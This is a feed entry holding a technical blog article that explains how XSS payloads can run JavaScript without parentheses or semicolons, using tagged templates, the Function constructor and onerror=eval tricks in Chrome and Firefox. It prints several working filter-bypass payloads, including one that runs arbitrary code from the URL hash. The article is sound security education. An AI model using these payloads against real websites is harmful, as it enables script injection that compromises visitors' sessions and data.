class="token template-punctuation string">`</span><span class="token string">test</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>However, some might ask, if that’s the case, can we only execute alert? Is there a way to execute arbitrary code? For example, if I want to use fetch to POST, I must use the second parameter: <code>fetch(url, &#123; method:&#39;POST&#39;&#125;)</code>, and the method above would have the second parameter as an array, causing fetch to throw an error and not run.</p><p>To address this issue, we can first use the function constructor to create a function by passing in a string. If you’re not familiar with this, you can read: <a href="https://blog.huli.tw/2020/12/01/en/write-conosle-log-1-without-alphanumeric/">How to write console.log(1) without using letters and numbers?</a> or <a href="https://blog.huli.tw/2021/06/07/en/xss-challenge-by-intigriti-writeup-may/">Intigriti’s 0521 XSS Challenge Solution: Limited Character Combination Code</a>, but I will briefly introduce it here.</p><p>In JavaScript, you can dynamically create a function using <code>new Function(code)</code>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>And that <code>new</code> is actually not necessary; you can remove it without any issue. Furthermore, dynamically created functions can accept parameters:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a) &#123; alert(a+1) &#125;</span><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'b'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+b)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a,b) &#123; alert(a+b) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The last parameter will be treated as the actual code, while the preceding ones will be treated as function parameters, and it will return the created function.</p><p>Therefore, we can use this point in conjunction with the tagged templates mentioned earlier to create a function from a string:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>So how do we execute this created function? It’s simple; just use the same method again:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Add two backticks at the end, just like the previously mentioned alert`1` usage</span><span class="token comment">// Added an extra space to avoid Markdown parser issues, but it works the same either way</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Since <code>alert(1)</code> inside is a string, the parentheses can be directly replaced with unicode, which is also a valid string representation, resulting in:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// it's actually just alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert\u00281\u0029</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>This way, the entire payload does not use any parentheses but can still execute arbitrary code!</p><p>This approach utilizes the first parameter when executing the template, which is the fixed part, but we can also use the subsequent parameters. For example:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span> <span class="token comment">// ['_', '']</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span> <span class="token comment">// hello</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When we pass both a fixed string and parameters simultaneously, the first parameter is all the fixed parts, as mentioned earlier, while the second parameter is our dynamically passed variable <code>hello</code>.</p><p>Using the method above to create a function, as previously mentioned, the last parameter will be treated as the function body:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous(_,) &#123; hello &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Thus, this <code>hello</code> is the part we can control. Since it is dynamically passed, there are many ways to play with it, which can be combined with places we can control on the website. For example, <code>location.hash</code> returns the hash from the URL like <code>#test</code>, and by adding <code>slice(1)</code>, we can remove the preceding <code>#</code>, combined it becomes:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// start from this</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// then using location.hash.slice(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// replace slice(1) with ``</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// add `` to run the function</span><span class="token comment">// remember to set the hash to #alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This constructs a payload that does not require parentheses but can execute arbitrary code, placing the actual string to be executed in the hash and dynamically executing the code in the hash.</p><h3><span id="onerror-event">onerror Event</span></h3><p>All the previous writing has not yet gotten to the main point; the original discovery mentioned at the beginning is another more clever method.</p><p>In a browser environment, by using <code>window.onerror</code>, we can receive all uncaught error events:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Err:'</span> <span class="token operator">+</span> err<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span class="token comment">// Err:Uncaught hello</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>By the way, the above code will not work if executed directly in DevTools (the reason is mentioned in the original post; errors will not be thrown to <code>onerror</code> when executed directly in the console), so please open an HTML to test.</p><p>In short, the above code tells us that in Chrome, the captured error message will be <code>Uncaught hello</code>.</p><p>So what if we directly replace <code>onerror</code> with <code>alert</code>?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>You will directly see a popup saying <code>Uncaught hello</code>. The above payload does not use any parentheses and achieves the purpose of executing a function.</p><p>Further extending this, we can replace <code>onerror</code> with <code>eval</code>, treating the error message as JavaScript code to execute, but the problem is how to construct valid code after replacing it with <code>eval</code>?</p><p>Since the captured error message will be: <code>Uncaught &#123;payload&#125;</code>, this entire sentence will be treated as code to execute, so as long as we replace the payload with: <code>=alert(1)</code>, the whole sentence becomes: <code>Uncaught=alert(1)</code>, using <code>Uncaught</code> in the error message as a variable, thus forming valid code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>If you still don’t understand the principle, replacing <code>eval</code> with <code>console.log</code> makes it very clear:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> console<span class="token punctuation">.</span>log<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span class="token comment">// Uncaught =alert(1)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Next, since the string follows <code>throw</code>, we can also use encoding to replace it, using <code>\x28</code> or <code>\u0028</code> will work:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert\x281\u0029'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>This constructs a payload that does not require parentheses.</p><h2><span id="further-eliminating-semicolons">Further Eliminating Semicolons</span></h2><p>Tagged template strings no longer require semicolons, so let’s continue along the path of <code>onerror</code> to see how to eliminate semicolons.</p><p>A simple and intuitive idea is to just use a comma (for convenience, I’ll use alert below):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>But after running it, you’ll find an error: <code>Uncaught SyntaxError: Unexpected token &#39;throw&#39;</code>. This is because <code>throw</code> is not an expression but a statement, so it cannot be placed after a comma; we need another method.</p><p>In JavaScript, even if you don’t use <code>if</code> or other code that requires a block, you can create your own block to wrap the code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>This is indeed used in development (though not often), and its purpose is to deliberately create a block and use the <code>let</code> or <code>const</code> keywords, allowing variables to only exist within that block.</p><p>By utilizing a block, you can achieve the goal of separating code without needing semicolons:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>onerror<span class="token operator">=</span>alert<span class="token punctuation">&#125;</span><span class="token keyword">throw</span> <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>In addition to using blocks, there are other cooler methods.</p><p>First, let’s talk about the use of commas in JavaScript. Basically, it concatenates several expressions and returns the result of the last one, such as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// 1</span><span class="token comment">// true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The expressions in <code>if</code> will sequentially execute <code>console.log(1)</code>, <code>alert(1)</code>, and finally return true, so the result of the <code>if</code> is valid, printing true.</p><p>And <code>throw</code> can be followed by an expression, so you can:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This will first execute <code>onerror=alert</code>, then execute <code>throw 1</code>, achieving the same effect as our method using <code>&#123;&#125;</code>. This is another way that doesn’t require semicolons.</p><p>The Chrome part ends here; the following is all efforts made for Firefox.</p><p>In Firefox, when there is an error, the format of the error message is different:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token comment">// uncaught exception: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Under this error message, it’s impossible to construct valid code, and the previous suggestion of replacing <code>onerror</code> with <code>eval</code> no longer works.</p><p>So Gareth Heyes continued to dig deeper and discovered two things. The first is that if you throw an Error instead of a string, the error message won’t have those annoying prefixes, leaving just <code>Error:</code>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// Error: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Since <code>Label:</code> is valid code in JavaScript, you can directly place code after it, making it easy:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>However, using <code>Error()</code> introduces parentheses, and Gareth Heyes’ second discovery is that in Firefox, you can throw an error-like object to achieve the same effect:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">lineNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">columnNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">fileName</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">message</span><span class="token operator">:</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>In summary, all of these efforts are to control the final error message produced by Firefox. As long as you can control it, you can construct valid code to pass to eval for execution.</p><p>Recently, I saw Gareth Heyes <a href="https://x.com/garethheyes/status/1961078705293246513">tweet</a> that Firefox is going to remove this feature: <a href="https://github.com/PortSwigger/xss-cheatsheet-data/issues/103">Firefox removed support for throwing error-like objects</a>, so he found a new method:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span>x<span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">,</span>x<span class="token punctuation">.</span>message<span class="token operator">=</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">,</span>x<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>It seems that if you want to create a new Error, you can do it without parentheses. After creating an Error object, you can set the message, and you can still control the error message.</p><h2><span id="other-payloads">Other payloads</span></h2><p>There are other payloads mentioned by others in the original post.</p><p>The first one comes from <a href="https://x.com/terjanq/status/1128692453047975936">@terjanq</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span><span class="token operator">/</span>a<span class="token operator">/</span><span class="token punctuation">,</span>Uncaught<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span>g<span class="token operator">=</span>alert<span class="token punctuation">,</span>a<span class="token operator">=</span><span class="token constant">URL</span><span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">,</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span><span class="token operator">/</span><span class="token number">1</span><span class="token operator">/</span>g<span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token punctuation">[</span><span class="token number">1337</span><span class="token punctuation">,</span><span class="token number">3331</span><span class="token punctuation">,</span><span class="token number">117</span><span class="token punctuation">]</span><span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>I tried this payload, and it currently only works in Chrome. It can clearly be broken down into several parts:</p><ol><li><code>/a/</code></li><li><code>Uncaught=1</code></li><li><code>g=alert</code></li><li><code>a=URL+0</code></li><li><code>onerror=eval</code></li><li><code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code></li></ol><p>Because it is connected by commas, the part that gets thrown will be the last segment.</p><p>Let’s start with the last segment. What does <code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code> do?</p><p>First, <code>a</code> is <code>URL+0</code>, and <code>URL</code> is a global function. The function + 0 will become a string, so <code>a</code> is <code>&quot;function URL() &#123; [native code] &#125;0&quot;</code>, thus <code>a[12]</code> and <code>a[13]</code> are <code>(</code> and <code>)</code> respectively.</p><p>The <code>/1/g</code> is a regexp, and when it becomes a string, it will be <code>&quot;/1/g&quot;</code>. As for the array <code>[1337,3331,117]</code>, when converted to a string, it will call <code>join</code>, resulting in <code>&quot;1337,3331,117&quot;</code>.</p><p>Putting it all together, <code>/1/g+a[12]+[1337,3331,117]+a[13]</code> will be <code>/1/g(1337,3331,117)</code>.</p><p>Combined with what was mentioned earlier, the error message thrown will be:</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#x2F;1&#x2F;g(1337,3331,117)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Here, the <code>/</code> was previously treated as a regexp, but in the current code, it actually represents arithmetic division, i.e., <code>a / b / c</code>, where <code>a</code> is <code>Uncaught</code>, <code>b</code> is <code>1</code>, and <code>c</code> is <code>g(1337,3331,117)</code>.</p><p>If <code>Uncaught</code> is not declared, it will throw an error, which is why <code>Uncaught=1</code> is needed. Then <code>g</code> will be treated as a function, so <code>g=alert</code>.</p><p>What about the first line <code>/a/</code>? This is likely just to prevent a space between <code>throw</code> and the subsequent payload, and it doesn’t serve any other purpose.</p><p>The essence of this solution lies in making the error message become <code>Uncaught /1/g(1337,3331,117)</code> when thrown, which is a valid piece of code. As long as some prerequisites are fulfilled, it can successfully call the function <code>g</code>.</p><p>The second one comes from <a href="https://x.com/cgvwzq">@cgvwzq</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This is actually divided into two statements. The first statement is: <code>TypeError.prototype.name =&#39;=/&#39;</code>, which forcibly changes the name of <code>TypeError</code> to <code>=/</code>.</p><p>Without this line, the error message for <code>0[0][&#39;test&#39;]</code> would be: <code>Uncaught TypeError: Cannot read properties of undefined (reading &#39;test&#39;)</code>.</p><p><code>0[0]</code> will be undefined, and <code>undefined[&#39;test&#39;]</code> will throw this TypeError.</p><p>After we forcibly change the name:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'hello!'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'test'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// Uncaught hello!: Cannot read properties of undefined (reading 'test')</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>We can control the original part of <code>TypeError</code> to become any string.</p><p>The other statement <code>0[onerror=eval][&#39;/-alert(1)//&#39;]</code> simply places the assignment inside <code>[]</code>. After the assignment, it is equivalent to <code>0[eval]</code>, which will return undefined, thus throwing a TypeError.</p><p>Let’s look at it another way, with the following code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'&#123;1&#125;'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'&#123;2&#125;'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>The error message generated in Chrome would be:</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#123;1&#125;: can&#39;t access property &quot;&#123;2&#125;&quot;, 0[eval] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Now the problem becomes how to control the string above to make the error message a valid piece of code?</p><p>In place of <code>&#123;1&#125;</code>, the author placed <code>=/</code>, resulting in <code>Uncaught=/</code>. This <code>/</code> actually means regexp, so the idea of this method is to make the string before <code>&#123;2&#125;</code> (<code>: can&#39;t access property &quot;</code> ) become part of the regexp.</p><p>Thus, the beginning of <code>&#123;2&#125;</code> is <code>/</code>, forming a regexp with the preceding part, and then using <code>-alert(1)</code> to execute the function. It can also be changed to <code>+alert(1)</code>, as it just needs to string the two operations together. After execution, the subsequent code is all commented out with <code>//</code>, so it can be ignored.</p><p>However, if you actually run the above payload, you will find that Chrome returns the error message: <code>Invalid regular expression ... Unterminated group</code>. This is because there is a <code>(</code> in the error message, which may not have been there, causing the regexp syntax to be incorrect. You just need to add a <code>)</code> to fix it:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">')/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>The generated error message will be:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span><span class="token operator">:</span> Cannot read properties <span class="token keyword">of</span> <span class="token keyword">undefined</span> <span class="token punctuation">(</span>reading <span class="token string">')/-alert(1)//'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>A simplified version would be:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span>regexp<span class="token operator">/</span><span class="token operator">-</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment">//...</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>By the way, this payload works fine on Chrome 139, but Firefox 142 will throw an error: <code>Uncaught SyntaxError: expected expression, got &#39;=&#39;</code>.</p><p>If you want to debug, just change <code>onerror=eval</code> to <code>onerror=console.log</code> to see what the generated error message looks like:</p><pre class="line-numbers language-none"><code class="language-none">&#x3D;&#x2F;: can&#39;t access property &quot;)&#x2F;&#x2F;alert(1)&#x2F;&#x2F;&quot;, 0[console.log] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>It seems that in Firefox, there is nothing in front of the TypeError’s name, so to make it work in Firefox, you can just add any character that can be a variable in front:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'a=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>If you really understand this approach, you can actually insert code at the TypeName part by following this idea, resulting in the same outcome, but not that cool (it works fine on Chrome):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=alert(1)//'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>As for how to construct a payload that works on both Chrome and Firefox, readers can practice on their own or refer to an example I created, which adds some variations:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'+/['</span><span class="token punctuation">,</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span>window<span class="token punctuation">.</span>Uncaught<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">']/-alert\501\51&lt;!--'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="summary">Summary</span></h2><p>In fact, regardless of which payload it is, the core concept is the same: just turn the error message into valid JavaScript code and pass it to eval for execution.</p><p>To understand the payload, you need to be somewhat familiar with JavaScript code, such as <code>0[onerror=eval]</code> or the use of commas; you should at least know what’s going on.</p><p>Besides that, it’s about using your imagination, which is harder to practice and usually starts with observation and imitation.</p><p>Finally, here are a few key points:</p><ol><li>Commas can chain multiple expressions, returning the last one.</li><li>Replacing onerror with eval allows you to execute the error message as code.</li><li>Errors thrown will become part of the error message.</li><li>As long as you can turn the error message into valid code, you’ve succeeded.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I received an email from a reader asking if I could write an article explaining &lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;, saying that the payloads in it were hard to understand.&lt;/p&gt;
&lt;p&gt;Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses&quot;&gt;XSS technique without parentheses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  
  
  <entry>
